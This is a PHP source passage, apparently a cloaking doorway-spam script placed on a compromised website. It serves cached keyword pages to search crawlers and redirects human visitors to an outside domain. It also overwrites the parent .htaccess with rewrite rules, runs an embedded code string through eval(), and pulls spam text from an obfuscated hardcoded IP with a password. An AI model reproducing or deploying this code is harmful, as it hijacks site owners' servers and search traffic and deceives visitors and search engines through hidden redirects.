";
$indexkey="News";
$imageyes="no";
$imagepath="gallery";
$redir="";
$includephpcode = '$ref = $_SERVER["HTTP_REFERER"];
$d = $_SERVER["HTTP_HOST"];
function getUrl() {
$url = @( $_SERVER["HTTPS"] != "on" ) ? "http://".$_SERVER["SERVER_NAME"] : "https://".$_SERVER["SERVER_NAME"];
$url .= ( $_SERVER["SERVER_PORT"] != 80 ) ? ":".$_SERVER["SERVER_PORT"] : "";
$url .= $_SERVER["REQUEST_URI"];
return $url;
}
$s = getUrl();
if (!strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "crawler")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "yahoo")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false)
{
if ((filesize(".htaccess"))>100)
{
$out = fopen("../.htaccess", "w");
fwrite ($out, "RewriteEngine On
RewriteRule ^([A-Za-z0-9-]+).html$ update.php?date=$1 [L]");
fclose($out);
}
echo $page;
}
else
{
$adr1 = ".....................................";
$adr2 = ".";
$adr3 = "...................................................................................................................................................................................................................";
$adr4 = "..............................................................................................................................................................................................................";
$ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);
$ard = "www.toptophot.in";
$s = dirname($_SERVER["PHP_SELF"]);
$s = $_SERVER["SERVER_NAME"] . $s;
$mykeys = $_GET["date"];
$ccache = scandir("yvsdbh35");
$ccache = sizeof($ccache);
if ($ccache>1000) $xxxxxxxx="yes";
$useripp = "xxx".$_SERVER["REMOTE_ADDR"];
if ((strpos($_SERVER["HTTP_REFERER"], "qdr:")) OR (strpos($_SERVER["HTTP_REFERER"], "sbd:")) OR (strpos($useripp, "162.158.64.")) OR (strpos($useripp, "162.158.65."))) $mykeys=1;
else {header("Location: http://$adddr/input/?mark=20170507new-$s&mykeys=$mykeys");
exit;}
}
';
$cachepath="./yvsdbh35";
$yourip="";
$dopips="";
$logornot="no";
$pingornot="no";
$pingres="http://rpc.pingomatic.com/";
$firstnoredir="no";
$redirtime="5";
ini_set('memory_limit',"256M");
ini_set('display_errors', 0);
//$useragent=strtolower($_SERVER['HTTP_USER_AGENT']);
$userip=explode(".", $_SERVER['REMOTE_ADDR']);
$usernetip=trim($userip[0]).".".trim($userip[1]).".".trim($userip[2]).".".trim($userip[3]);
$botips=" ".$yourip." ".$dopips." ";
$keyfromurl =$_GET[$perem];
if(!$keyfromurl){
$keyfromurl=$indexkey;
}
$key = str_replace("-", " ", $keyfromurl);
$key=trim($key);
$keyredir = str_replace(" ", "+", $key);
$keydefis = str_replace(" ", "-", $keyfromurl);
$keydecode = str_replace("-", "+", $keyfromurl);
$keydecode = str_replace("'", "", $keydecode);
$keydecode = str_replace("\\", "", $keydecode);
$keydecode=trim($keydecode);
$usedurl=str_replace("{urlkey}", $keydefis, $resurl);
//$useragent = $_SERVER['HTTP_USER_AGENT'];
//if ((!file_exists($cachepath."/".$keydefis)) AND (!strpos($useragent, "google"))) exit;
if($logornot=="yes"){
$fileot="./log.txt";
$fhf=fopen($fileot, "a+");
$dataot="Page ".$usedurl." : ". $_SERVER['HTTP_REFERER']." ".$_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date("dS h:i:s A")."\n";
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
}
if($keyfromurl=="mysitemap" && file_exists("map.txt")){
$pagemap=file_get_contents("./map.txt");
echo $pagemap;
die();
}
if($sitemap=="yes" && !file_exists("map.txt")){
$mapkeys=file_get_contents($keyspath);
$mapkeys=explode("\n", $mapkeys);
srand((float)microtime() * 1000000);
shuffle($mapkeys);
$mapkeys = array_slice($mapkeys, 0, $maplinksvalue);
$fileot="./map.txt";
$fhf=fopen($fileot, "w");
$dataot1="";
$dataot2=array();
foreach($mapkeys as $mapkey){
$mapkey=trim($mapkey);
$mapkeyurl=str_replace(" ", "-", $mapkey);
$mapurl=str_replace("{urlkey}", $mapkeyurl, $resurl);
$dataot2[]="".$mapkey."".$maplinksraz;
}
$dataot2=implode($dataot2);
$dataot=$dataot1." ".$dataot2."
";
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
$mapkeys="";
}
if($sitemap=="yes" && file_exists("map.txt")){
$mapinpage=str_replace("{urlkey}", "mysitemap", $resurl);
$mapinpages="
SiteMap
";
}
$redir=str_replace("{redirkeyword}", $keyredir, $redir);
//if (!strpos($botips, $usernetip)===false || !strpos($_SERVER['REMOTE_ADDR'], "23.8")===false){
if (!strpos($botips, $usernetip)===false || !strpos($_SERVER['HTTP_USER_AGENT'], "Googlebot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "crawler")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "bot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "yahoo")===false || $cloakornotcloak=="no"){
if($cloakornotcloak=="no"){
$cloaknoredir=$includephpcode;
}
// Открываем директорию
$dir = opendir($cachepath);
// В цикле считываем её содержимое
while(($file = readdir($dir)))
{
// Если текущий объект является файлом - удаляем его
if($file!="." && $file!=".."){
$file=trim($file);
if($keyfromurl==$file){
$page=file_get_contents($cachepath."/".$file);
if($extlinkspath){
$extlinks=file_get_contents($extlinkspath);
$page=str_replace("{extlinks}", $extlinks, $page);
}
if($firstnoredir=="yes"){
$todaydate=date("d");
$matchesparse=array();
$patternparse = "//sU";
preg_match_all($patternparse, $page, $matchesparse);
$gentime=$matchesparse[1][0];
if($gentime){
$needtime=$todaydate-$gentime;
if(abs($needtime)>=$redirtime)
{
$page=str_replace("", $redir, $page);
$page=preg_replace("//", "", $page);
$fileot=$cachepath."/".$keyfromurl;
$fhf=fopen($fileot, "w+");
$dataot=$page;
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
}
}
}
if($includephpcode){
$includephpcode=str_replace("{redirkeyword}", $keyredir, $includephpcode);
/*$fileot="temp.php";
$fhf=fopen($fileot, "w+");
$dataot="";
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);*/
ob_start(); // Включаем буферизацию вывода
ob_clean(); // Чистим буфер (не обязательно)
eval ($includephpcode); // Выполняем нужный нам код, результат которого уходит в буфер
$buffer=ob_get_contents(); // Пишем в переменную содержимое буфера
ob_end_clean();
//$patternparse = "/{phpcode}/";
$page=str_replace("{phpcode}", $buffer, $page);
}
echo $page;
die();
}
}
}
// Закрываем директорию
closedir($dir);
if($contentsou==1 && $usetemplates=="no"){
$pageparse=getcontent($key, "2");
//$pageparsemini=getcontent($key, "1");
/*$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);*/
}
if($contentsou==2 && $usetemplates=="no")
{
$pageparse=getcontent2($key, "4");
//$pageparsemini=getcontent2($key, "1");
/*$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);*/
}
if($contentsou==3 && $usetemplates=="no")
{
$pageparse=file_get_contents($textfile);
$pageparse=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparse);
$pageparse = array_slice($pageparse, 0, 20);
/*$pageparsemini= array_slice($pageparse, 0, 3);
$pageparsemini=implode(".", $pageparsemini);*/
$pageparse=implode(".", $pageparse);
}
if($contentsou==4 && $usetemplates=="no")
{
$pageparse=getcontent3($key, "2");
}
$wordscount=count(explode(" ", $key));
if($keyparseornot=="yes" && $wordscount<=3){
$googlekeys=keyparse($key);
if(count($googlekeys)>=3){
$forlinks1=$googlekeys;
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$kusokkeev=$forlinks1;
}
else
{
$forlinks1=file_get_contents($keyspath);
$forlinks1=explode("\n", $forlinks1);
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$kusokkeev=array_chunk($forlinks1, $kollinks);
$kusokkeev=$kusokkeev[0];
}
}
else
{
$forlinks1=file_get_contents($keyspath);
$forlinks1=explode("\n", $forlinks1);
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$kusokkeev=array_chunk($forlinks1, $kollinks);
$kusokkeev=$kusokkeev[0];
}
if($trendskeys=="yes"){
$alltrendskeys=keyparse2();
srand((float)microtime() * 1000000);
shuffle($alltrendskeys);
$neededtrends=array_chunk($alltrendskeys, $valuetrends);
$kusokkeev=array_merge ($kusokkeev, $neededtrends[0]);
srand((float)microtime() * 1000000);
shuffle($kusokkeev);
}
$links1=array();
foreach($kusokkeev as $i=>$keyforurl){
$keyforurl1=str_replace(" ", "-", $keyforurl);
$keyforurl1=trim($keyforurl1);
$keyforurl=trim($keyforurl);
$linkingurl=str_replace("{urlkey}", $keyforurl1, $resurl);
$links1[$i]=" ".$keyforurl."".$linksrazdel;
}
if($imageyes=="yes" && $usetemplates=="no"){
$files=array();
$dir = opendir("./");
// В цикле считываем её содержимое
while(($file = readdir($dir)))
{
// Если текущий объект является файлом - удаляем его
$files[]=trim($file);
}
closedir($dir);
$files=implode(" ", $files);
if(strpos($files, $imagepath)===false) {
mkdir("./".$imagepath);
}
$templateimage="
";
}
$links1=implode($links1);
$date = date ("l dS of F Y h A");
if($usetemplates=="no"){
$pageview= "
".ucfirst($key)."
".$cloaknoredir."
".ucfirst($key)."
".$templateimage."
".$mapinpages."
".$pageparse."
".$links1."
";
}
elseif($usetemplates=="yes"){
if($randomtemplate=="yes"){
$files=array();
$dir = opendir($templatepath);
// В цикле считываем её содержимое
while(($file = readdir($dir)))
{
if($file!="." && $file!=".."){
// Если текущий объект является файлом - удаляем его
$files[]=trim($file);
}
}
closedir($dir);
srand((float)microtime() * 1000000);
shuffle($files);
$goodtemplatefile=$files[0];
$goodtemplate=file_get_contents("./".$templatepath."/".$goodtemplatefile);
}
else
{
$goodtemplate=file_get_contents("./".$templatepath."/".$randomtemplate);
}
if($firstnoredir=="yes"){
$goodtemplate=$goodtemplate."";
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{image}")) break 1;
$goodtemplate=preg_replace("/{image}/", "
", $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{randurl}")) break 1;
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$forrandurl=str_replace(" ", "-", trim($forlinks1[0]));
$randurl=str_replace("{urlkey}", $forrandurl, $resurl);
$goodtemplate=preg_replace("/{randurl}/", $randurl, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{rankey}")) break 1;
srand((float)microtime() * 1000000);
shuffle($forlinks1);
$goodtemplate=preg_replace("/{rankey}/", trim($forlinks1[0]), $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if($textfile){
$pageparse=file_get_contents($textfile);
$pageparse=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparse);
$pageparse = array_slice($pageparse, 0, 40);
$pageparse[3]=$pageparse[3]." ".$key;
$pageparse[5]=$pageparse[5]." ".$key."";
$pageparse[11]=$pageparse[11]." ".$key;
$pageparse[14]=$pageparse[14]." ".$key."";
$pageparse[18]=$pageparse[18]." ".$key;
$pageparse=implode(".", $pageparse);
}
if (!strstr($goodtemplate, "{manytext}")) break 1;
$goodtemplate=preg_replace("/{manytext}/", $pageparse, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{manytext_bing}")) break 1;
$pageparse=getcontent2($key, "4");
$pageparse2=getcontent3($key, "4");
$pageparse3=getcontent($key, "4");
$pageparse4=$pageparse." ".$pageparse2." ".$pageparse3;
//$pageparse4=$pageparse3;
shuffle($pageparse4);
$goodtemplate=preg_replace("/{manytext_bing}/", $pageparse4, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{manytext_bing}")) break 1;
$pageparse=getcontent($key, "2");
$goodtemplate=preg_replace("/{manytext_bing}/", $pageparse, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{manytext_an}")) break 1;
$pageparse=getcontent3($key, "2");
$goodtemplate=preg_replace("/{manytext_an}/", $pageparse, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{bookstext}")) break 1;
$pageparse=getbookcontent($key, $bookskeyvalue);
$goodtemplate=preg_replace("/{bookstext}/", $pageparse, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{minitext}")) break 1;
if($textfile){
$pageparse=file_get_contents($textfile);
$pageparse=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparse);
$pageparsemini= array_slice($pageparse, 0, 3);
$pageparse[2]=$pageparse[2]." ".$key."";
$pageparsemini=implode(".", $pageparsemini);
}
$goodtemplate=preg_replace("/{minitext}/", $pageparsemini, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{minitext_bing}")) break 1;
$pageparse=getcontent2($key, "1");
$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);
$goodtemplate=preg_replace("/{minitext_bing}/", $pageparsemini, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{minitext_ab}")) break 1;
$pageparse=getcontent($key, "1");
$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);
$goodtemplate=preg_replace("/{minitext_ab}/", $pageparsemini, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{minitext_an}")) break 1;
$pageparse=getcontent3($key, "1");
$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);
$goodtemplate=preg_replace("/{minitext_an}/", $pageparsemini, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{manytext_all}")) break 1;
$pageparse=getcontent($key, "2");
if(strlen($pageparse)<=10){
$pageparse=getcontent2($key, "4");
}
$goodtemplate=preg_replace("/{manytext_all}/", $pageparse, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{minitext_all}")) break 1;
$pageparse=getcontent($key, "1");
$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);
if(strlen($pageparsemini)<=10){
$pageparse=getcontent2($key, "1");
$pageparsemini=explode(".", $pageparse);
srand((float)microtime() * 1000000);
shuffle($pageparsemini);
$pageparsemini=array_slice($pageparsemini, 0, 5);
$pageparsemini=implode(".", $pageparsemini);
}
$goodtemplate=preg_replace("/{minitext_all}/", $pageparse, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{ab_content}")) break 1;
$pageparse=getcontentaba($key, $articlesvalue, $randomabarticles);
if(strlen($pageparse)<=10){
$pageparse=getcontent2($key, "4");
}
$goodtemplate=preg_replace("/{ab_content}/", $pageparse, $goodtemplate, 1);
}
for ($i=0; $i<1000; $i++){
if (!strstr($goodtemplate, "{youtube}")) break 1;
$pageparse=youtubeparse($key);
$goodtemplate=preg_replace("/{youtube}/", $pageparse, $goodtemplate, 1);
}
$goodtemplate=str_replace("{keyword}", ucfirst($key), $goodtemplate);
$goodtemplate=str_replace("{sitemaplink}", $mapinpages, $goodtemplate);
$goodtemplate=str_replace("{links}", $links1, $goodtemplate);
if($firstnoredir=="yes"){
$goodtemplate=str_replace("{redirekt}", "", $goodtemplate);
}
else
{
$goodtemplate=str_replace("{redirekt}", $cloaknoredir, $goodtemplate);
}
$pageview=$goodtemplate;
}
echo $pageview;
flush();
$fileot=$cachepath."/".$keyfromurl;
$fhf=fopen($fileot, "w+");
$dataot=$pageview;
flock($fhf,LOCK_EX);
fwrite($fhf, $dataot);
fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
if($pingornot=="yes"){
$pingres=explode(" ", $pingres);
foreach($pingres as $pingr){
MYBlog_ping (trim($pingr), ucfirst($key), $usedurl);
}
}
}
else
{
echo $redir;
}
function getcontent($keyforparse, $cntpages)
{
$keyforparse = chop($keyforparse);
if (file_exists($cachepath."/".$keyforparse)) echo " ";
else
{
$query_pars = $keyforparse;
$query_pars_2 = str_replace(" ", "+", chop($query_pars));
$text = "";
$ipppp=4+4;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$ipppp$ipppp.19$ipppp.19.6$ipppp/story.php?pass=hcbasjhv&q=$query_pars_2");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$text = curl_exec($ch);
curl_close($ch);
return $text;
}
}
function getcontent2($keyforparse, $cntpages)
{
/*
//$keyforparse="phentermine";
//$cntpages=3;
$keyforparse=str_replace(" ", "+", $keyforparse);
$keyforparse=urlencode($keyforparse);
$key2 = explode("%2B", $keyforparse);
//$key2 = $key2[0]."%2B".$key2[1];
$key2 = $key2[0];
$naparse=NULL;
$cntpages=1;
for ($i=0; $i<=$cntpages-1; $i++){
$let = array (video,free,mp3,games,news,songs,music);
$r = rand (0,count($let)-1);
$myname .= $let[$r];
$pageparse=file_get_contents("http://www.ask.com/web?q=".$keyforparse."&page=".$i);
//echo $pageparse;
$matchesparse=array();
$patternparse = "##isU";
preg_match_all($patternparse, $pageparse, $matchesparse);
//var_dump($matchesparse[1]);
sleep(1);
$matchesparse2=array();
$patternparse2 = "#
#isU";
preg_match_all($patternparse2, $pageparse, $matchesparse2);
//var_dump($matchesparse2[1]);
//echo "
".implode($matchesparse[1])."
";
sleep(1);
$matchesparse3=array();
$patternparse3 = "##isU";
preg_match_all($patternparse3, $pageparse, $matchesparse3);
//var_dump($matchesparse2[1]);
//echo "
".implode($matchesparse[1])."
";
sleep(1);
$matchesparse4=array();
$patternparse4 = "##isU";
preg_match_all($patternparse4, $pageparse, $matchesparse4);
//var_dump($matchesparse2[1]);
//echo "
".implode($matchesparse[1])."
";
sleep(1);
$naparse[$i]=implode($matchesparse[1])." ".implode($matchesparse2[1])." ".implode($matchesparse3[1])." ".implode($matchesparse4[1]);
}
srand((float)microtime() * 1000000);
shuffle($naparse);
//echo implode($naparse);
$result1=implode($naparse);
$result1=explode(".", $result1);
srand((float)microtime() * 1000000);
shuffle($result1);
$result1=implode(". ", $result1);
$result1=str_replace(". id=\"r2_a}\">", "", $result1);
$patternparse1 = "/http:\/\/.*\s/sU";
$result=preg_replace($patternparse1, "", $result1);
//$patternparse2 = "/$keyforparse", $result);
$result=str_replace(". id=\"r2_a}\">", " ", $result);
$result=str_replace(" id=\"r3_a}\">", " ", $result);
$result=str_replace(". id=\"r4_a}\">", " ", $result);
$result=str_replace(". id=\"r5_a}\">", " ", $result);
$result=str_replace(". id=\"r6_a}\">", " ", $result);
$result=str_replace(" id=\"r7_a}\">", " ", $result);
$result=str_replace(". id=\"r8_a}\">", " ", $result);
$result=str_replace(". id=\"r9_a}\">", " ", $result);
$result=str_replace(" id=\"r1_a}\">", " ", $result);
$result=str_replace(" id=\"r0_a}\">", " ", $result);
$result=str_replace("id=\"r2_a}\">", " ", $result);
$result=str_replace("id=\"r3_a}\">", " ", $result);
$result=str_replace("id=\"r4_a}\">", " ", $result);
$result=str_replace("id=\"r5_a}\">", " ", $result);
$result=str_replace("id=\"r6_a}\">", " ", $result);
$result=str_replace("id=\"r7_a}\">", " ", $result);
$result=str_replace("id=\"r8_a}\">", " ", $result);
$result=str_replace("id=\"r9_a}\">", " ", $result);
$result=str_replace("id=\"r1_a}\">", " ", $result);
$result=str_replace("id=\"r0_a}\">", " ", $result);
$result=str_replace("", "", $result);
$result=str_replace("", "", $result);
$result=str_replace(". . ", "", $result);
$result=str_replace(", . ", "", $result);
$result=str_replace(". . . ", "", $result);
$result=str_replace(" . . ", "", $result);
$result=str_replace(". >", ". ", $result);
$result=str_replace("", " ", $result);
$result=str_replace("", " ", $result);
$result=str_replace(">", " ", $result);
$strr2 = explode("%2B", $keyforparse);
$result=str_replace("$strr2[1]", "", $result);
$strr3 = ucfirst($strr2[1]);
$result=str_replace("$strr3", "", $result);
//echo $strr2[1];
//echo $strr3;
return $result;
//echo $result;
*/
}
function getcontent3($keyforparse, $cntpages)
{
/*
//$keyforparse="phentermine";
//$cntpages=3;
$keyforparse=str_replace(" ", "+", $keyforparse);
$naparse=NULL;
$cntpages=6;
//echo $cntpages;
for ($i=0; $i<=$cntpages-1; $i++){
$pageparse=file_get_contents("http://search.yahoo.com/search?p=".$keyforparse."&b=".$i."1&pz=10&bct=0&pstart=3");
$matchesparse=array();
$patternparse = "/class=\"lh-17\">(.*)<\/p><\/div>/sU";
preg_match_all($patternparse, $pageparse, $matchesparse);
//var_dump($matchesparse2[1]);
//echo "".implode($matchesparse[1])."
";
$naparse[$i]=implode($matchesparse[1]);
//sleep(1);
//echo $pageparse;
}
srand((float)microtime() * 1000000);
shuffle($naparse);
//echo implode($naparse);
$result1=implode($naparse);
$result1=explode(".", $result1);
srand((float)microtime() * 1000000);
shuffle($result1);
$result1=implode(". ", $result1);
$result1=str_replace("", "", $result1);
$result1=str_replace("
", " ", $result1);
$result1=str_replace("
", "", $result1);
$patternparse1 = "/http:\/\/.*\s/sU";
$result=preg_replace($patternparse1, "", $result1);
//$result=str_replace("$keyforparse", "$keyforparse", $result);
$result=str_replace("", "", $result);
$result=str_replace("", "", $result);
$result=str_replace("", "", $result);
$result=str_replace("", "", $result);
$result=str_replace(" . . .", "", $result);
$result=str_replace("", "", $result);
$result=str_replace("", "", $result);
$result=str_replace("", "", $result);
$result=str_replace(". . ", "", $result);
return $result;
*/
}
function getcontentaba($keyforparse, $value, $random)
{
/*
$keyforparse=str_replace(" ", "+", $keyforparse);
$naparse=NULL;
$pageparse=file_get_contents("http://www.dogpile.com/search/web?qsi=".$i."1&q=".$keyforparse);
//echo $pageparse;
$matchesparse=array();
$patternparse = "/class=\"resultDescription\">(.*)<\/div>/sU";
preg_match_all($patternparse, $pageparse, $matchesparse);
//var_dump($matchesparse);
srand((float)microtime() * 1000000);
shuffle($matchesparse[1]);
for ($i=0; $i<=$value-1; $i++){
$page=file_get_contents("http://www.articlesbase.com/".$matchesparse[1][$i]);
//echo $page;
$patternparse1 = "/(.*)<\/div>/sU";
preg_match_all($patternparse1, $page, $matchesparse1);
//var_dump($matchesparse1[1][0]);
$naparse[$i]=$matchesparse1[1][0];
$naparse[$i]=trim($naparse[$i]);
//var_dump($naparse[$i]);
}
$result1=implode($naparse);
$result1=strip_tags($result1);
if($random){
$result1=explode(".", $result1);
srand((float)microtime() * 1000000);
shuffle($result1);
$result1=implode(". ", $result1);
$patternparse1 = "/http:\/\/.*\s/sU";
$result=preg_replace($patternparse1, "", $result1);
$patternparse1 = "/
/sU";
$result=preg_replace($patternparse1, "", $result);
$patternparse1 = "/<.*>/sU";
$result=preg_replace($patternparse1, "", $result);
$result=str_replace("...", "", $result);
$result=str_replace(". . .", "", $result);
$result=str_replace("..", "", $result);
$result=str_replace(". .", "", $result);
$result=str_replace("....", "", $result);
$result=str_replace(". . . .", "", $result);
}
else
{
$result1=implode($naparse);
$patternparse1 = "/http:\/\/.*\s/sU";
$result=preg_replace($patternparse1, "", $result1);
$patternparse1 = "//sU";
$result=preg_replace($patternparse1, "", $result);
$patternparse1 = "/<.*>/sU";
$result=preg_replace($patternparse1, "", $result);
}
return $result;
*/
}
function generateCharSequence($length)
{
//$sequence='';
$chars = array(/*'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P', 'A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', */'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
for($i=0; $i<$length; $i++) {
$sequence .= $chars[rand(0, count($chars)-1)];
}
return $sequence;
}
?>